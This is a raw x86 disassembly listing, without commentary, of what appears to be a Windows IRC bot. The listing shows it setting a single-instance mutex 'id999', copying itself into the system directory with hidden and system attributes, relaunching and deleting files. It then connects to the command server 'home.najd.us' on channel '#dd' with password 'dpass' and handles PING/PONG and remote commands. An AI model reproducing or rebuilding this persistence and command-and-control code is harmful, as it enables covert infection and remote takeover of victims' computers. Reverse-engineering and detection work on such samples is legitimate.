jmp short loc_40C489
; ---------------------------------------------------------------------------
loc_40C42A: ; CODE XREF: sub_40C409+9j
push esi
push edi
push ebx
push ebx
call dword_43C4C4
lea esi, [eax+2]
push esi
call sub_415BE9
pop ecx
mov edi, eax
push edi
push esi
call dword_43C4C4
cmp [edi], bl
mov esi, edi
jz short loc_40C480
loc_40C44E: ; CODE XREF: sub_40C409+75j
push offset aA_1 ; "A:\\"
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40C471
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C337
add esp, 10h
loc_40C471: ; CODE XREF: sub_40C409+54j
push esi
call sub_415B10
lea esi, [esi+eax+1]
pop ecx
cmp [esi], bl
jnz short loc_40C44E
loc_40C480: ; CODE XREF: sub_40C409+43j
push edi
call sub_415C9B
pop ecx
pop edi
pop esi
loc_40C489: ; CODE XREF: sub_40C409+1Fj
pop ebx
pop ebp
retn
sub_40C409 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C48C proc near ; DATA XREF: sub_40C574+11o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_4416D4
call dword_43C5EC
call sub_414F9D
call dword_43C4B4
call dword_43C4B4
mov ebx, dword_421060
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415390
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_415390
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43B188
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_4210EC ; CreateProcessA
test eax, eax
jz short loc_40C551
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_42106C
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_40C551: ; CODE XREF: sub_40C48C+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_440944
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call dword_421114 ; ExitProcess
pop edi
pop esi
pop ebx
sub_40C48C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C574 proc near ; CODE XREF: seg001:00417BE1p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
var_6F4 = byte ptr -6F4h
var_5F4 = byte ptr -5F4h
var_4F0 = byte ptr -4F0h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_1E8 = byte ptr -1E8h
var_E4 = byte ptr -0E4h
var_64 = dword ptr -64h
var_58 = dword ptr -58h
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_C], ebx
mov [ebp+var_8], offset sub_40C48C
push [ebp+var_8]
push large dword ptr fs:0
mov large fs:0, esp
cmp dword_42C254, ebx
jz short loc_40C5AA
call sub_409EBC
loc_40C5AA: ; CODE XREF: sub_40C574+2Fj
mov esi, dword_42104C
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_46A9B8, eax
call esi ; GetTickCount
push eax
call sub_415368
pop ecx
call sub_40891C
push 2
call dword_43C600
push 7530h
push offset aId999 ; "id999"
push ebx
push ebx
call dword_42112C ; CreateMutexA
push eax
call dword_421128 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40C5FE
push 1
call dword_421114 ; ExitProcess
loc_40C5FE: ; CODE XREF: sub_40C574+80j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_43C4CC
cmp eax, ebx
mov [ebp+var_8], eax
jnz loc_40CA4F
cmp [ebp+var_884], 2
jnz loc_40CA49
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_40CA49
mov esi, 104h
lea eax, [ebp+var_3F0]
push esi
push eax
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_2EC]
push esi
push eax
push ebx
call dword_4210C8 ; GetModuleHandleA
push eax
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_4171E8
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp+var_5F4]
push esi
push eax
call sub_41588A
lea eax, [ebp+var_3F0]
push eax
lea eax, [ebp+var_2EC]
push eax
call sub_4158E0
add esp, 30h
test eax, eax
jnz loc_40C852
cmp dword_46AB24, ebx
mov esi, offset byte_42C2BC
jz short loc_40C6F9
push esi
xor edi, edi
call sub_415B10
sub eax, 4
pop ecx
jz short loc_40C6F9
loc_40C6D6: ; CODE XREF: sub_40C574+183j
call sub_415372
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42C2BC[edi], dl
inc edi
call sub_415B10
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40C6D6
loc_40C6F9: ; CODE XREF: sub_40C574+152j
; sub_40C574+160j
lea eax, [ebp+var_3F0]
push esi
push eax
lea eax, [ebp+var_1E8]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_415316
add esp, 10h
lea eax, [ebp+var_1E8]
push eax
call dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_40C739
lea eax, [ebp+var_1E8]
push 80h
push eax
call dword_4210F4 ; SetFileAttributesA
loc_40C739: ; CODE XREF: sub_40C574+1B1j
mov esi, dword_421124
xor edi, edi
jmp short loc_40C765
; ---------------------------------------------------------------------------
loc_40C743: ; CODE XREF: sub_40C574+204j
call dword_421088 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40C77A
cmp eax, 20h
jz short loc_40C757
cmp eax, 5
jnz short loc_40C77A
loc_40C757: ; CODE XREF: sub_40C574+1DCj
xor edi, edi
push 3A98h
inc edi
call dword_421060 ; Sleep
loc_40C765: ; CODE XREF: sub_40C574+1CDj
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
push eax
call esi ; CopyFileA
test eax, eax
jz short loc_40C743
loc_40C77A: ; CODE XREF: sub_40C574+1D7j
; sub_40C574+1E1j
lea eax, [ebp+var_1E8]
push eax
call sub_409C6E
pop ecx
lea eax, [ebp+var_1E8]
push 7
push eax
call dword_4210F4 ; SetFileAttributesA
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_415390
push 44h
lea eax, [ebp+var_64]
pop esi
push esi
push ebx
push eax
call sub_415390
mov [ebp+var_64], esi
xor esi, esi
inc esi
add esp, 18h
mov [ebp+var_58], offset byte_43B188
mov [ebp+var_38], esi
mov [ebp+var_34], bx
call dword_421120 ; GetCurrentProcessId
push eax
push esi
push 100000h
call dword_42111C ; OpenProcess
lea ecx, [ebp+var_2EC]
push ecx
push eax
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_988]
push offset dword_433244
push eax
call sub_415316
add esp, 14h
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_64]
push eax
lea eax, [ebp+var_3F0]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+var_1E8]
push eax
call dword_4210EC ; CreateProcessA
test eax, eax
jz short loc_40C852
push 0C8h
call dword_421060 ; Sleep
push [ebp+var_1C]
mov esi, dword_42106C
call esi ; CloseHandle
push [ebp+var_18]
call esi ; CloseHandle
call dword_43C4B4
push ebx
call dword_421114 ; ExitProcess
loc_40C852: ; CODE XREF: sub_40C574+141j
; sub_40C574+2B4j
cmp dword_46B650, 2
jle short loc_40C89E
mov eax, dword_46B654
push dword ptr [eax+4]
call sub_41587F
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_421128 ; WaitForSingleObject
push esi
call dword_42106C ; CloseHandle
mov eax, dword_46B654
cmp [eax+8], ebx
jz short loc_40C89E
push 7D0h
call dword_421060 ; Sleep
mov eax, dword_46B654
push dword ptr [eax+8]
call dword_421118 ; DeleteFileA
loc_40C89E: ; CODE XREF: sub_40C574+2E5j
; sub_40C574+30Fj
cmp dword_42C25C, ebx
jz short loc_40C8BB
cmp dword_43C620, ebx
jnz short loc_40C8BB
lea eax, [ebp+var_5F4]
push eax
call sub_40B2B9
pop ecx
loc_40C8BB: ; CODE XREF: sub_40C574+330j
; sub_40C574+338j
lea eax, [ebp+var_E4]
push offset dword_433218
push eax
call sub_415316
push ebx
lea eax, [ebp+var_E4]
push ebx
push eax
call sub_414DDA
lea eax, [ebp+var_E4]
push eax
call sub_40B078
push 0B80h
push ebx
push offset dword_440948
call sub_415390
call sub_415372
push 7Fh
push offset aHome_najd_us ; "home.najd.us"
push offset dword_46A9C4
mov dword_46AB34, ebx
call sub_416BE0
mov eax, dword_42C240
push 3Fh
mov edi, offset dword_46AA44
push offset aDd_0 ; "#dd"
push edi
mov dword_46AB14, eax
call sub_416BE0
push 3Fh
mov esi, offset dword_46AA84
push offset aDpass ; "dpass"
push esi
call sub_416BE0
add esp, 48h
mov dword_46AB18, ebx
loc_40C949: ; CODE XREF: sub_40C574+47Bj
; sub_40C574+486j ...
mov [ebp+var_4], ebx
loc_40C94C: ; CODE XREF: sub_40C574+42Fj
cmp dword_43C638, ebx
jnz short loc_40C96A
lea eax, [ebp+var_20]
push ebx
push eax
call dword_43C498
test eax, eax
jnz short loc_40C96A
push 7530h
jmp short loc_40C996
; ---------------------------------------------------------------------------
loc_40C96A: ; CODE XREF: sub_40C574+3DEj
; sub_40C574+3EDj
push offset dword_46A9C0
mov dword_46AB30, ebx
call sub_40CA58
cmp eax, 2
mov [ebp+var_8], eax
jz loc_40CA44
cmp dword_46AB30, ebx
jz short loc_40C991
dec [ebp+var_4]
loc_40C991: ; CODE XREF: sub_40C574+418j
push 0BB8h
loc_40C996: ; CODE XREF: sub_40C574+3F4j
call dword_421060 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_40C94C
cmp [ebp+var_8], 2
jz loc_40CA44
cmp [ebp+var_C], ebx
jz short loc_40C9F4
push 7Fh
push offset aHome_najd_us ; "home.najd.us"
push offset dword_46A9C4
call sub_416BE0
mov eax, dword_42C240
push 3Fh
push offset aDd_0 ; "#dd"
push edi
mov dword_46AB14, eax
call sub_416BE0
push 3Fh
push offset aDpass ; "dpass"
push esi
call sub_416BE0
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_40C949
; ---------------------------------------------------------------------------
loc_40C9F4: ; CODE XREF: sub_40C574+43Ej
cmp byte_42C2A0, bl
jz loc_40C949
push 7Fh
push offset byte_42C2A0
push offset dword_46A9C4
call sub_416BE0
mov eax, dword_42C244
push 3Fh
push offset dword_42C2B0
push edi
mov dword_46AB14, eax
call sub_416BE0
push 3Fh
push offset aDpass_0 ; "dpass"
push esi
call sub_416BE0
add esp, 24h
mov [ebp+var_C], 1
jmp loc_40C949
; ---------------------------------------------------------------------------
loc_40CA44: ; CODE XREF: sub_40C574+40Cj
; sub_40C574+435j
call sub_414F9D
loc_40CA49: ; CODE XREF: sub_40C574+AEj
; sub_40C574+BEj
call dword_43C4B4
loc_40CA4F: ; CODE XREF: sub_40C574+A1j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_40C574 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA58 proc near ; CODE XREF: sub_40C574+401p
; DATA XREF: sub_40CD3A+393Fo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40CA7D: ; CODE XREF: sub_40CA58+E6j
; sub_40CA58+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_43C554
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_409F7A
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40CBBA
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_415390
push 0
lea eax, [ebp+var_2C]
push dword_46AB28
push dword_42C268
push eax
call sub_414278
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_4416E0
push edi
push eax
call sub_416BE0
add esp, 28h
push 6
push 1
push 2
call dword_43C5D4
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_4416D4[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_43C4FC
cmp eax, 0FFFFFFFFh
jnz short loc_40CB43
push esi
call dword_43C5EC
call sub_409FA3
push 7D0h
loc_40CB38: ; CODE XREF: sub_40CA58+146j
call dword_421060 ; Sleep
jmp loc_40CA7D
; ---------------------------------------------------------------------------
loc_40CB43: ; CODE XREF: sub_40CA58+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_433250
call sub_40B0EC
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40CBBE
add esp, 28h
mov edi, eax
push esi
call dword_43C5EC
test edi, edi
jz loc_40CA7D
cmp edi, 1
jnz short loc_40CBA0
push 0DBBA0h
jmp short loc_40CB38
; ---------------------------------------------------------------------------
loc_40CBA0: ; CODE XREF: sub_40CA58+13Fj
cmp edi, 2
jnz loc_40CA7D
push [ebp+var_34]
call sub_4150F0
pop ecx
push edi
pop eax
loc_40CBB4: ; CODE XREF: sub_40CA58+164j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_40CBBA: ; CODE XREF: sub_40CA58+5Aj
xor eax, eax
jmp short loc_40CBB4
sub_40CA58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CBBE proc near ; CODE XREF: sub_40CA58+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_415B90
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40CBDC: ; CODE XREF: sub_40CBBE+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40CBDC
cmp byte_46AB2C, bl
jz short loc_40CC03
push offset byte_46AB2C
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_412B8B
add esp, 0Ch
loc_40CC03: ; CODE XREF: sub_40CBBE+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_414278
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_415316
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jnz short loc_40CC6D
push [ebp+arg_0]
call dword_43C5EC
push 1388h
call dword_421060 ; Sleep
loc_40CC66: ; CODE XREF: sub_40CBBE+D9j
; sub_40CBBE+153j
xor eax, eax
loc_40CC68: ; CODE XREF: sub_40CBBE+16Fj
; sub_40CBBE+177j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40CC6D: ; CODE XREF: sub_40CBBE+92j
; sub_40CBBE+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43C56C
test eax, eax
jle short loc_40CC66
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_409965
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40CC6D
lea edi, [ebp+var_A10]
loc_40CCBE: ; CODE XREF: sub_40CBBE+165j
xor esi, esi
inc esi
loc_40CCC1: ; CODE XREF: sub_40CBBE+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_40CD3A
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40CD04
push 7D0h
call dword_421060 ; Sleep
jmp short loc_40CCC1
; ---------------------------------------------------------------------------
loc_40CD04: ; CODE XREF: sub_40CBBE+137j
cmp esi, 0FFFFFFFDh
jz short loc_40CD32
cmp esi, 0FFFFFFFEh
jz short loc_40CD2A
cmp esi, 0FFFFFFFFh
jz loc_40CC66
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40CCBE
jmp loc_40CC6D
; ---------------------------------------------------------------------------
loc_40CD2A: ; CODE XREF: sub_40CBBE+14Ej
xor eax, eax
inc eax
jmp loc_40CC68
; ---------------------------------------------------------------------------
loc_40CD32: ; CODE XREF: sub_40CBBE+149j
push 2
pop eax
jmp loc_40CC68
sub_40CBBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD3A proc near ; CODE XREF: sub_40CBBE+12Ap
var_27D4 = byte ptr -27D4h
var_23D4 = byte ptr -23D4h
var_21D4 = byte ptr -21D4h
var_1FD4 = byte ptr -1FD4h
var_1ED4 = byte ptr -1ED4h
var_1DD4 = byte ptr -1DD4h
var_1DD0 = byte ptr -1DD0h
var_1CD0 = dword ptr -1CD0h
var_1CCC = dword ptr -1CCCh
var_1CC8 = byte ptr -1CC8h
var_1C48 = byte ptr -1C48h
var_1BC8 = byte ptr -1BC8h
var_1B48 = byte ptr -1B48h
var_1AC8 = byte ptr -1AC8h
var_1A48 = dword ptr -1A48h
var_1A44 = dword ptr -1A44h
var_1A40 = dword ptr -1A40h
var_1A3C = dword ptr -1A3Ch
var_1A38 = byte ptr -1A38h
var_19B8 = byte ptr -19B8h
var_1938 = byte ptr -1938h
var_18B8 = byte ptr -18B8h
var_1838 = dword ptr -1838h
var_1834 = dword ptr -1834h
var_1830 = dword ptr -1830h
var_182C = dword ptr -182Ch
var_1828 = dword ptr -1828h
var_1824 = byte ptr -1824h
var_17A4 = byte ptr -17A4h
var_1724 = byte ptr -1724h
var_16A4 = dword ptr -16A4h
var_16A0 = dword ptr -16A0h
var_169C = dword ptr -169Ch
var_1698 = dword ptr -1698h
var_1694 = byte ptr -1694h
var_1690 = byte ptr -1690h
var_1590 = byte ptr -1590h
var_158C = byte ptr -158Ch
var_150C = byte ptr -150Ch
var_14CC = byte ptr -14CCh
var_143C = dword ptr -143Ch
var_1438 = dword ptr -1438h
var_1434 = dword ptr -1434h
var_1430 = dword ptr -1430h
var_142C = dword ptr -142Ch
var_1428 = byte ptr -1428h
var_1424 = dword ptr -1424h
var_1420 = byte ptr -1420h
var_13A0 = byte ptr -13A0h
var_1324 = byte ptr -1324h
var_129C = byte ptr -129Ch
var_1220 = dword ptr -1220h
var_121C = dword ptr -121Ch
var_1218 = dword ptr -1218h
var_1214 = byte ptr -1214h
var_1198 = dword ptr -1198h
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_118C = dword ptr -118Ch
var_1188 = dword ptr -1188h
var_1184 = byte ptr -1184h
var_1104 = byte ptr -1104h
var_1084 = byte ptr -1084h
var_1004 = dword ptr -1004h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = dword ptr -0FE8h
var_FE0 = byte ptr -0FE0h
var_F60 = byte ptr -0F60h
var_EE0 = dword ptr -0EE0h
var_EDC = dword ptr -0EDCh
var_ED8 = dword ptr -0ED8h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC0 = dword ptr -0EC0h
var_EBC = byte ptr -0EBCh
var_DB8 = dword ptr -0DB8h
var_DB4 = byte ptr -0DB4h
var_D34 = byte ptr -0D34h
var_C35 = byte ptr -0C35h
var_C34 = byte ptr -0C34h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = dword ptr -0B2Ch
var_B28 = dword ptr -0B28h
var_B24 = dword ptr -0B24h
var_B20 = dword ptr -0B20h
var_B1C = dword ptr -0B1Ch
var_B18 = dword ptr -0B18h
var_B14 = dword ptr -0B14h
var_B10 = byte ptr -0B10h
var_A90 = dword ptr -0A90h
var_A8C = byte ptr -0A8Ch
var_A80 = byte ptr -0A80h
var_A7C = byte ptr -0A7Ch
var_A0C = byte ptr -0A0Ch
var_98C = dword ptr -98Ch
var_988 = dword ptr -988h
var_984 = dword ptr -984h
var_980 = dword ptr -980h
var_97C = byte ptr -97Ch
var_970 = byte ptr -970h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = dword ptr -860h
var_858 = byte ptr -858h
var_84C = dword ptr -84Ch
var_848 = byte ptr -848h
var_844 = byte ptr -844h
var_748 = byte ptr -748h
var_740 = byte ptr -740h
var_6C8 = dword ptr -6C8h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = dword ptr -6B0h
var_6AC = dword ptr -6ACh
var_6A8 = byte ptr -6A8h
var_628 = byte ptr -628h
var_5A8 = dword ptr -5A8h
var_5A4 = dword ptr -5A4h
var_5A0 = dword ptr -5A0h
var_59C = dword ptr -59Ch
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_588 = byte ptr -588h
var_578 = byte ptr -578h
var_4F8 = byte ptr -4F8h
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = byte ptr -43Ch
var_420 = dword ptr -420h
var_41C = byte ptr -41Ch
var_418 = dword ptr -418h
var_414 = byte ptr -414h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_39C = byte ptr -39Ch
var_394 = dword ptr -394h
var_390 = dword ptr -390h
var_38C = dword ptr -38Ch
var_388 = dword ptr -388h
var_384 = dword ptr -384h
var_380 = dword ptr -380h
var_37C = dword ptr -37Ch
var_378 = dword ptr -378h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = byte ptr -364h
var_33C = byte ptr -33Ch
var_31C = dword ptr -31Ch
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = byte ptr -2D8h
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = word ptr -0D0h
var_CE = word ptr -0CEh
var_CC = dword ptr -0CCh
var_C0 = byte ptr -0C0h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 27D4h
call sub_415B90
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2D8]
push ebx
push eax
mov [ebp+var_A8], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_D8], ebx
call sub_415390
push 1Bh
lea eax, [ebp+var_43C]
push [ebp+arg_10]
push eax
call sub_416BE0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40D18F
push esi
lea eax, [ebp+var_21D4]
push ebx
push eax
call sub_415390
dec esi
lea eax, [ebp+var_21D4]
push esi
push [ebp+arg_0]
push eax
call sub_416BE0
lea eax, [ebp+var_21D4]
push offset asc_43670C ; " :"
push eax
call sub_4158E0
mov [ebp+var_C], eax
lea eax, [ebp+var_21D4]
push esi
push eax
lea eax, [ebp+var_23D4]
push eax
call sub_416BE0
mov esi, offset asc_426A34 ; " "
lea eax, [ebp+var_23D4]
push esi
push eax
call sub_416B3F
xor edi, edi
add esp, 34h
mov [ebp+var_94], eax
inc edi
loc_40CE00: ; CODE XREF: sub_40CD3A+DAj
push esi
push ebx
call sub_416B3F
mov [ebp+edi*4+var_94], eax
inc edi
pop ecx
cmp edi, 20h
pop ecx
jl short loc_40CE00
mov esi, [ebp+var_94]
cmp esi, ebx
jz loc_40D18F
cmp [ebp+var_90], ebx
jz loc_40D18F
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_415390
add esp, 0Ch
push 1Fh
pop edx
loc_40CE48: ; CODE XREF: sub_40CD3A+142j
lea ecx, [ebp+edx*4+var_94]
mov eax, [ecx]
cmp eax, ebx
jz short loc_40CE7B
cmp byte ptr [eax], 2Dh
jnz short loc_40CE7E
cmp [eax+2], bl
jnz short loc_40CE7E
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_94]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40CE7B: ; CODE XREF: sub_40CD3A+119j
dec edx
jns short loc_40CE48
loc_40CE7E: ; CODE XREF: sub_40CD3A+11Ej
; sub_40CD3A+123j
xor edi, edi
inc edi
cmp [ebp+var_8ED], bl
jz short loc_40CE8C
mov [ebp+var_8], edi
loc_40CE8C: ; CODE XREF: sub_40CD3A+14Dj
cmp [ebp+var_8F2], bl
jz short loc_40CE9A
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40CE9A: ; CODE XREF: sub_40CD3A+158j
cmp byte ptr [esi], 0Ah
jz short loc_40CED4
push 7Fh
lea eax, [ebp+var_B10]
push esi
push eax
call sub_416BE0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C0]
push eax
call sub_416BE0
lea eax, [ebp+var_C0]
push offset dword_42F4B0
push eax
call sub_416B3F
add esp, 20h
loc_40CED4: ; CODE XREF: sub_40CD3A+163j
push esi
push offset aPing ; "PING"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40CF25
push [ebp+var_90]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_412B8B
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40CFC9
push [ebp+arg_C]
push [ebp+arg_8]
